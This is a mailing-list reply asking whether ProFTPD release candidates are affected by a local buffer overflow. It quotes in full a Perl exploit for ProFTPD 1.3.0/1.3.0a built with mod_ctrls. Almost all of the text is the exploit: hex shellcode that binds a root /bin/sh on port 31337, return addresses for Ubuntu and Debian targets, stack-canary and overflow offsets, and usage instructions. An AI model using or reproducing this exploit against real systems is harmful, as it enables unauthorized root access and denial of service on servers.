Re: ProFTPD 1.3.0/1.3.0a (mod_ctrls support) Local Buffer Overflow Exploit

[Mark Wadham <mark.wadham () areti net>]

Hmm, anyone know if the release candidates on proftpd.org are vulnerable 
to this?

Mark**

Guns () 0x90 com ar wrote:
> #!/usr/bin/perl -w
>  # Local Exploit
>  #
>  # [ Exploitation condition ]
>  # - proftpd must be compiled with --enable-ctrls option
>  # - local user needs permission to connect through unix socket (from proftpd.conf)
>  #
>  # This one works for 2.6 exploitation against gcc 4.x
>  # Payload will bind /bin/sh on port 31337 with ( uid && gid = 0 )
>  # I was able to use only a <bind_shell> as payload since a normal (setuid + execve) seems that doesn't work
>  #
>  # Tested against:
>  # - ProFTPD 1.3.0/1.3.0a on Ubuntu 6.10 compiled with gcc 4.1.2
>  # - ProFTPD 1.3.0/1.3.0a on Debian Etch(4.0.2-5) compiled with gcc 4.0.3
>  # *** Against v1.3.0a -- server *could* remain up (in a Denial of Service condition) without binding shell
>  #
>  # revenge@eleusi~$ ./revenge_proftpd_ctrls.pl /usr/local/var/proftpd/proftpd.sock 1
>  # [ wait some secs then nc on port 31337 ]
>  # anyone@anywhere:~$ nc <host> 31337
>  # id
>  # uid=0(root) gid=0(root) groups=65534(nogroup)
>  # exit
>  # [ after that server will deactivate ]
>  #
>  #
>  # Silvio Luna 0x90
>  #
>  # http://www.0x90.com.ar/
>  # <Guns () 0x90 com ar>
> #
>
> use strict;
> use Socket;
>
> if ( @ARGV < 2 ) { &usage(); }
>
> my $hellcode =
> # *** Generated with libShellCode
> # setuid(0) + setgid(0) + bind(/bin/sh) on port 31337
> "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80".
> "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80".
> "\x89\xc7\x31\xc9\x66\xb9\x7a\x69\x52\x66\x51\x43\x66\x53\x89\xe1".
> "\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd".
> "\x80\x31\xc0\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3".
> "\x89\xd9\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\xeb\x18\x5e\x31\xc0\x88".
> "\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d".
> "\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
>
> my $rsock   = shift;
> my $tn      = shift;
>
> my $ret;
> my $req;
>
> if ( $tn == '1' ) { $req = "A"x512; }
> else { $req = "A"x520; }
>
> use constant LSOCK  => '/tmp/tmp.sock';
> use constant CANARY => "\0\0\x0a\xff";
> use constant JUNK   => "AAAAaaaaAAAAaaaa";
>
> my %targets = (
>    '1' => "\x77\xe7\xff\xff",  # Ubuntu 6.10
>    '2' => "\x77\xe7\xff\xff"   # Debian Etch 4.0.2-5
>    # Add here your target RET
> );
>
> my %tname = (
>    '1' => "Ubuntu 6.10",
>    '2' => "Debian Etch 4.0.2-5"
> );
>
> $ret = $targets{$tn};
>
> my $buffer = $req.CANARY.JUNK.$ret.$hellcode;
> my $l = length($buffer);
>
> socket (SOCK, PF_UNIX, SOCK_STREAM, 0)  or die "Unable to create socket : $!";
> my $rfile = sockaddr_un($rsock);
>
> unlink LSOCK;
> my $lfile = sockaddr_un(LSOCK);
>
> bind (SOCK, $lfile) or die "Unable to bind to $lfile";
> chmod (00700, LSOCK);
>
> connect (SOCK, $rfile) or die "\nUnable to connect to ".$rsock."\nMaybe server is down or incorrect path\n\n";
>
> print "\n Buffer length => ".$l."\n";
> print " Target => ".$tname{$tn}."\n";
>
> send SOCK, pack("s2", 0),0;
> send SOCK, pack("s2", 1,0),0;
> send SOCK, pack("C", 188).pack("C",2).pack("s1",0),0;
> send SOCK, $buffer,0;
>
> close SOCK;
>
> print "\n [#] Request sent - try to connect on port 31337\n\n";
>
> sub usage() {
>    print "\n ProFTPD 1.3.0/1.3.0a Controls Buffer Overflow\n";
>    print " Alfredo \"revenge\" Pesoli\n";
>    print " <revenge\@0xcafebabe.it>\n\n";
>    print "Usage : $0 <path_to_unix_socket> <target>\n";
>    print "   Ex : $0 /usr/local/var/proftpd/proftpd.sock 1\n";
>    print "\n Available Targets :\n";
>    print "  1 => 0xffffe777 (Ubuntu 6.10 - EIP after 532 bytes)\n";
>    print "  2 => 0xffffe777 (Debian Etch 4.0.2-5 - EIP after 540 bytes)\n\n";
>    exit();
> }
>   


--
Mark Wadham
e: mark.wadham () areti net t: +44 (0)20 8315 5800 f: +44 (0)20 8315 5801
Areti Internet Ltd., http://www.areti.net/ 

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